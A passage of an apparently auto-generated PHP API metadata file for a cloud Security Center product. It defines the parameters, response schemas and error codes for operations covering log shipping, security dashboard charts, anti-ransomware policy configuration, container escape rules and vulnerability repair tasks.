'errorCode' => 'IllegalHotTTL', 'errorMessage' => 'The hot storage TTL is invalid.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D2E31293-DAAC-574B-B816-A18EA0A6****\\"\\n}","type":"json"}]', 'title' => 'ResetLogShipper', ], 'ListLogShipperRegions' => [ 'summary' => 'Queries the regions supported by the log delivery feature that uses the pay-as-you-go billing method.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '139433', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F9C4DE22-D242-5ABA-87EC-325ECBDC****', ], 'LogShipperRegionList' => [ 'description' => 'The regions supported by the log delivery feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the region supported by the log delivery feature.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The ID of the region.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F9C4DE22-D242-5ABA-87EC-325ECBDC****\\",\\n \\"LogShipperRegionList\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListLogShipperRegions', ], 'UpdateTargetListByBatch' => [ 'summary' => 'Updates machines in a release batch.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '142158', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'BatchId', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The ID of the release batch.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '52370', ], ], [ 'name' => 'OperationList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The operations on assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation.'."\n", 'type' => 'object', 'properties' => [ 'Operation' => [ 'description' => 'The operation type. Valid values:'."\n" ."\n" .'* **add**: the add operation.'."\n" .'* **del**: the remove operation.'."\n", 'type' => 'string', 'required' => false, 'example' => 'add', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'string', 'required' => false, 'example' => '11883086', ], 'VpcInstanceId' => [ 'description' => 'The ID of the VPC-connected instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-bp1ow0rm9t92iza******', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'de393767-6fe1-4a8d-837d-927a2b******', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 10000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECD******', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECD******\\"\\n}","type":"json"}]', 'title' => 'UpdateTargetListByBatch', ], 'DescribeScreenScoreThread' => [ 'summary' => 'Queries the trends of the scores on the security dashboard.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '154024', 'abilityTreeNodes' => [ 'FEATUREsasBB3BJE', ], ], 'parameters' => [ [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. This value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1651290987000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. This value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1668064495000', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'Source of security score, default is Cloud Security Center if left empty. Enum values: '."\n" .'- 0:Cloud Security Center. '."\n" .'- 1:Yaochi Console.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'SocreThread' => [ 'description' => 'The trends of the scores on the security dashboard.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The score on the security dashboard.'."\n", 'type' => 'string', 'example' => '80', ], ], 'SocreThreadDate' => [ 'description' => 'The dates of the scores on the security dashboard.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The date of the score on the security dashboard.'."\n", 'type' => 'string', 'example' => '2024-07-01', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"Data\\": {\\n \\"SocreThread\\": [\\n \\"80\\"\\n ],\\n \\"SocreThreadDate\\": [\\n \\"2024-07-01\\"\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeScreenScoreThread', ], 'DescribeChartData' => [ 'summary' => 'Queries the chart data of a security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '157308', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'CharId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the chart.'."\n" ."\n" .'> You can call the [DescribeChartList](~~DescribeChartList~~) operation to query the ID. This parameter is required if the report version is 1.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CID_ASSET_RISK_TREND', ], ], [ 'name' => 'TimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683603086000', ], ], [ 'name' => 'TimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683862286000', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the security report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '721734', ], ], [ 'name' => 'ChartId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the chart.'."\n" ."\n" .'> You can call the [DescribeChartList](~~DescribeChartList~~) operation to query the ID. This parameter is required if the report version is 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CID_VUL_SUMMARY', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'PropertyValue' => [ 'description' => 'The data of the chart.'."\n", 'type' => 'string', 'example' => '{\'totalCount\': \'0\'}', ], 'ProperyArrayValue' => [ 'description' => 'The array data of the chart.'."\n", 'type' => 'string', 'example' => '[]', ], 'ChartType' => [ 'description' => 'The type of the chart. Valid values:'."\n" ."\n" .'* **timeLine**'."\n" .'* **timeBar**'."\n" .'* **bar**'."\n" .'* **line**'."\n" .'* **pie**'."\n" .'* **gauge**'."\n" .'* **table**'."\n" .'* **text**'."\n", 'type' => 'string', 'example' => 'timeBar', ], 'ChartDataType' => [ 'description' => 'The data type of the chart. Valid values:'."\n" ."\n" .'* **commonCoordinate**'."\n" .'* **timeCoordinate**'."\n" .'* **multipleValue**'."\n" .'* **singleValue**'."\n" .'* **propertyValue**'."\n" .'* **propertyArrayValue**'."\n", 'type' => 'string', 'example' => 'propertyArrayValue', ], 'CoordinateData' => [ 'description' => 'The coordinate data.'."\n", 'type' => 'object', 'properties' => [ 'YAxisList' => [ 'description' => 'The y-axis values.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The value of the y-axis.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the data.'."\n", 'type' => 'string', 'example' => 'high', ], 'Name' => [ 'description' => 'The name of the data type.'."\n", 'type' => 'string', 'example' => 'Port', ], 'Value' => [ 'description' => 'The values of the y-axis that corresponds to x-axis points.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The value of the y-axis that corresponds to the x-axis point.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], 'SubType' => [ 'description' => 'The subtype data of the chart.'."\n", 'type' => 'string', 'example' => 'CID_SUSPICIOUS_TREND-AL', ], ], ], ], 'XAxis' => [ 'description' => 'The x-axis values.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The value of the x-axis.'."\n", 'type' => 'string', 'example' => '2024-01-01', ], ], ], ], 'SingleData' => [ 'description' => 'The data of the single value chart.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the data.'."\n", 'type' => 'string', 'example' => 'suspicious', ], 'Value' => [ 'description' => 'The value in the single value chart.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '172', ], 'Name' => [ 'description' => 'The name of the data type.'."\n", 'type' => 'string', 'example' => 'suspicious', ], ], ], 'MultipleData' => [ 'description' => 'The values in the multi-value charts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The value in the multi-value chart.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the data.'."\n", 'type' => 'string', 'example' => 'safe', ], 'Value' => [ 'description' => 'The attribute value.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Color' => [ 'description' => 'The font color, which is an RGBA value.'."\n", 'type' => 'string', 'example' => '#FFA800', ], 'Name' => [ 'description' => 'The name of the data type.'."\n", 'type' => 'string', 'example' => 'Safety', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '50CCE62A-2BC4-5CF8-B976-E4F62A31****', ], 'ChartSubTypeList' => [ 'description' => 'The subtype values in which the chart is selected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The subtype value in which the chart is selected.'."\n", 'type' => 'string', 'example' => '["CID_VUL_TREND-CVE", "CID_VUL_TREND-SYS", "CID_VUL_TREND-CMS", "CID_VUL_TREND-APP", "CID_VUL_TREND-EMG"]', ], ], 'AllChartSubTypeList' => [ 'description' => 'The valid values for all subtypes of the chart.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'SubType' => [ 'description' => 'The subtype of the chart.'."\n", 'type' => 'string', 'example' => 'CID_SUSPICIOUS_TREND-ALL', ], 'SubTypeName' => [ 'description' => 'The name of the chart subtype.'."\n", 'type' => 'string', 'example' => 'All Alerts', ], ], 'description' => '', ], ], 'PropertyArrayValue' => [ 'description' => 'The attribute value of the array chart.'."\n", 'type' => 'string', 'example' => '[]', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PropertyValue\\": \\"{\'totalCount\': \'0\'}\\",\\n \\"ProperyArrayValue\\": \\"[]\\",\\n \\"ChartType\\": \\"timeBar\\",\\n \\"ChartDataType\\": \\"propertyArrayValue\\",\\n \\"CoordinateData\\": {\\n \\"YAxisList\\": [\\n {\\n \\"Type\\": \\"high\\",\\n \\"Name\\": \\"Port\\",\\n \\"Value\\": [\\n \\"1\\"\\n ],\\n \\"SubType\\": \\"CID_SUSPICIOUS_TREND-AL\\"\\n }\\n ],\\n \\"XAxis\\": [\\n \\"2024-01-01\\"\\n ]\\n },\\n \\"SingleData\\": {\\n \\"Type\\": \\"suspicious\\",\\n \\"Value\\": 172,\\n \\"Name\\": \\"suspicious\\"\\n },\\n \\"MultipleData\\": [\\n {\\n \\"Type\\": \\"safe\\",\\n \\"Value\\": 0,\\n \\"Color\\": \\"#FFA800\\",\\n \\"Name\\": \\"Safety\\"\\n }\\n ],\\n \\"RequestId\\": \\"50CCE62A-2BC4-5CF8-B976-E4F62A31****\\",\\n \\"ChartSubTypeList\\": [\\n \\"[\\\\\\"CID_VUL_TREND-CVE\\\\\\", \\\\\\"CID_VUL_TREND-SYS\\\\\\", \\\\\\"CID_VUL_TREND-CMS\\\\\\", \\\\\\"CID_VUL_TREND-APP\\\\\\", \\\\\\"CID_VUL_TREND-EMG\\\\\\"]\\"\\n ],\\n \\"AllChartSubTypeList\\": [\\n {\\n \\"SubType\\": \\"CID_SUSPICIOUS_TREND-ALL\\",\\n \\"SubTypeName\\": \\"All Alerts\\"\\n }\\n ],\\n \\"PropertyArrayValue\\": \\"[]\\"\\n}","type":"json"}]', 'title' => 'DescribeChartData', ], 'OpenBackupAutoConfig' => [ 'summary' => 'Enables the automatic configuration of anti-ransomware policies for servers in the managed anti-ransomware feature. You can call this operation only after you purchase the managed anti-ransomware feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'MaxBatchSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of servers specified in a batch of anti-ransomware policies that are automatically generated by the managed anti-ransomware feature.'."\n" ."\n" .'> The maximum value is 50. If the number of specified servers exceeds 50, the value 50 is used.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '50', 'minimum' => '1', 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\"\\n}","type":"json"}]', 'title' => 'OpenBackupAutoConfig', ], 'GetBackupAutoConfigStatus' => [ 'summary' => 'Checks whether the managed anti-ransomware feature can automatically configure an anti-ransomware policy for servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CanConfigAuto' => [ 'description' => 'Indicates whether the anti-ransomware policy for servers can be automatically configured by the managed anti-ransomware feature. Valid values:'."\n" ."\n" .'* **false**'."\n" .'* **true**'."\n", 'type' => 'boolean', 'example' => 'false', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"CanConfigAuto\\": false\\n },\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', 'title' => 'GetBackupAutoConfigStatus', ], 'GetAegisContainerPluginRule' => [ 'summary' => 'Queries the details of a defense rule against container escapes.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '211989', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **0**: custom rule'."\n" .'* **1**: system rule'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'default' => '0', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the defense rule against container escapes.'."\n" ."\n" .'> You can call the [ListAegisContainerPluginRule](~~ListAegisContainerPluginRule~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1141****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'description' => 'The timestamp when the rule was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671607025000', ], 'GmtModified' => [ 'description' => 'The timestamp when the rule was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671607025000', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '21**', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'auto_test_rule-EmzIXZ', ], 'RuleDescription' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'autoTest', ], 'RuleTemplateId' => [ 'description' => 'The template ID of the rule.'."\n", 'type' => 'string', 'example' => '100**', ], 'RuleTemplateName' => [ 'description' => 'The template name of the rule.'."\n", 'type' => 'string', 'example' => 'template01', ], 'Mode' => [ 'description' => 'The action mode of the rule. Valid values:'."\n" ."\n" .'* **0**: allows escape behavior.'."\n" .'* **1**: triggers alerts.'."\n" .'* **2**: blocks escape behavior.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SelectedPolicy' => [ 'description' => 'The rule items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule item.'."\n", 'type' => 'string', 'example' => 'notify_on_release_2', ], ], 'SwitchId' => [ 'description' => 'The ID of the switch.'."\n", 'type' => 'string', 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_***', ], 'WhiteImages' => [ 'description' => 'The images that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'centos', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-***0DEF8BF6F', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": 1671607025000,\\n \\"GmtModified\\": 1671607025000,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"auto_test_rule-EmzIXZ\\",\\n \\"RuleDescription\\": \\"autoTest\\",\\n \\"RuleTemplateId\\": \\"100**\\",\\n \\"RuleTemplateName\\": \\"template01\\",\\n \\"Mode\\": 1,\\n \\"SelectedPolicy\\": [\\n \\"notify_on_release_2\\"\\n ],\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_***\\",\\n \\"WhiteImages\\": [\\n \\"centos\\"\\n ]\\n },\\n \\"RequestId\\": \\"09969D2C-***0DEF8BF6F\\"\\n}","type":"json"}]', 'title' => 'GetAegisContainerPluginRule', 'description' => 'Only the Ultimate edition of Security Center supports this operation.'."\n", ], 'SubmitOperationTask' => [ 'summary' => 'Submits a repair task of risk items detected in configuration assessment or rolls back a repair task that is executed.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213382', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to obtain the ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '132', ], ], [ 'name' => 'OperationTaskInstances', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset information required to submit the tasks for instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The structure of the asset information.'."\n", 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The service provider of the asset. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: an asset outside Alibaba Cloud.'."\n" .'* **2**: an asset in a data center.'."\n" .'* **3**, **4**, **5**, and **7**: an asset from a third-party cloud service provider.'."\n" .'* **8**: a lightweight asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '7', ], 'RegionId' => [ 'description' => 'The region ID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf6533m4vuo3oa33****', ], 'TaskId' => [ 'description' => 'The ID of the task that you want to roll back'."\n", 'type' => 'string', 'required' => false, 'example' => '7d0b10e35e80c9e5ebac5f1054****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'DimensionType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension of the task that you want to submit. Valid values:'."\n" ."\n" .'* Instance dimension: INSTANCE'."\n" .'* Check item dimension: CHECK_ID'."\n", 'type' => 'string', 'required' => false, 'example' => 'CHECK_ID', 'enum' => [ 'INSTANCE', 'CHECK_ID', 'INSTANCE_RELATION_KEY', ], ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task that you want to submit. Valid values:'."\n" ."\n" .'* Repair task: REPAIR'."\n" .'* Rollback task: ROLLBACK'."\n", 'type' => 'string', 'required' => true, 'example' => 'REPAIR', ], ], [ 'name' => 'RepairTempParam', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The temporary parameters required for the repair task.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the temporary repair parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'IPPort', ], 'Value' => [ 'description' => 'The value of the temporary repair parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.1XX.1XX', ], ], 'required' => false, 'description' => '', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RelationKey', 'in' => 'query', 'schema' => [ 'description' => 'The key linked to cross-page selections during task submission.'."\n" ."\n" .'> You can call the [CreateAssetSelectionConfig](~~CreateAssetSelectionConfig~~) operation to query the associated key from the BusinessType field.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CSPM_OPERATION_RELATION_KEY_173***', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', ], 'OperateCode' => [ 'description' => 'The handling result code. Valid values:'."\n" ."\n" .'* Insufficient authorization: AuthorizationExhaust'."\n" .'* Unauthorized: ActionTrialUnauthorized'."\n", 'type' => 'string', 'example' => 'AuthorizationExhaust', ], 'RootTaskId' => [ 'description' => 'The main task ID that is returned when the task is submitted.'."\n", 'type' => 'string', 'example' => '89f5d7813bd59dd237580a8664b3xxxx', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RepairTaskConflict', 'errorMessage' => 'Fix task conflicts.', ], [ 'errorCode' => 'RepairedParamNotCustomized.%s', 'errorMessage' => 'The required repair parameter %s is not customized.', ], [ 'errorCode' => 'ErrorParamFormat.%s', 'errorMessage' => 'Parameter %s format is incorrectly filled in.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"OperateCode\\": \\"AuthorizationExhaust\\",\\n \\"RootTaskId\\": \\"89f5d7813bd59dd237580a8664b3xxxx\\"\\n}","type":"json"}]', 'title' => 'SubmitOperationTask', ], 'CheckTrialFixCount' => [ 'summary' => 'Checks whether the remaining quota of the vulnerability fixing feature is sufficient for a free trial user of Security Center and queries the quota usage required for the current fix operation.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91914', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability that you want to fix. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **cms**: Web-CMS vulnerability.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Info', 'in' => 'query', 'schema' => [ 'description' => 'The information about the vulnerability. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the name of the vulnerability.'."\n" ."\n" .'* **uuid**: the UUID of the server on which the vulnerability is detected.'."\n" ."\n" .'* **tag**: the tag that is added to the vulnerability. Valid values:'."\n" ."\n" .' * **oval**: Linux software vulnerability.'."\n" .' * **system**: Windows system vulnerability.'."\n" .' * **cms**: Web-CMS vulnerability.'."\n" ."\n" .'> You must specify a value for Info or values for VulNames and Uuids to identify a vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"name\\":\\"oval:com.redhat.rhsa:def:20192143\\",\\"uuid\\":\\"80ee3226-1f96-4da0-a3ed-55c104e2****\\",\\"tag\\":\\"oval\\"}]', ], ], [ 'name' => 'VulNames', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of the vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the vulnerability that you want to fix.'."\n", 'type' => 'string', 'required' => false, 'example' => 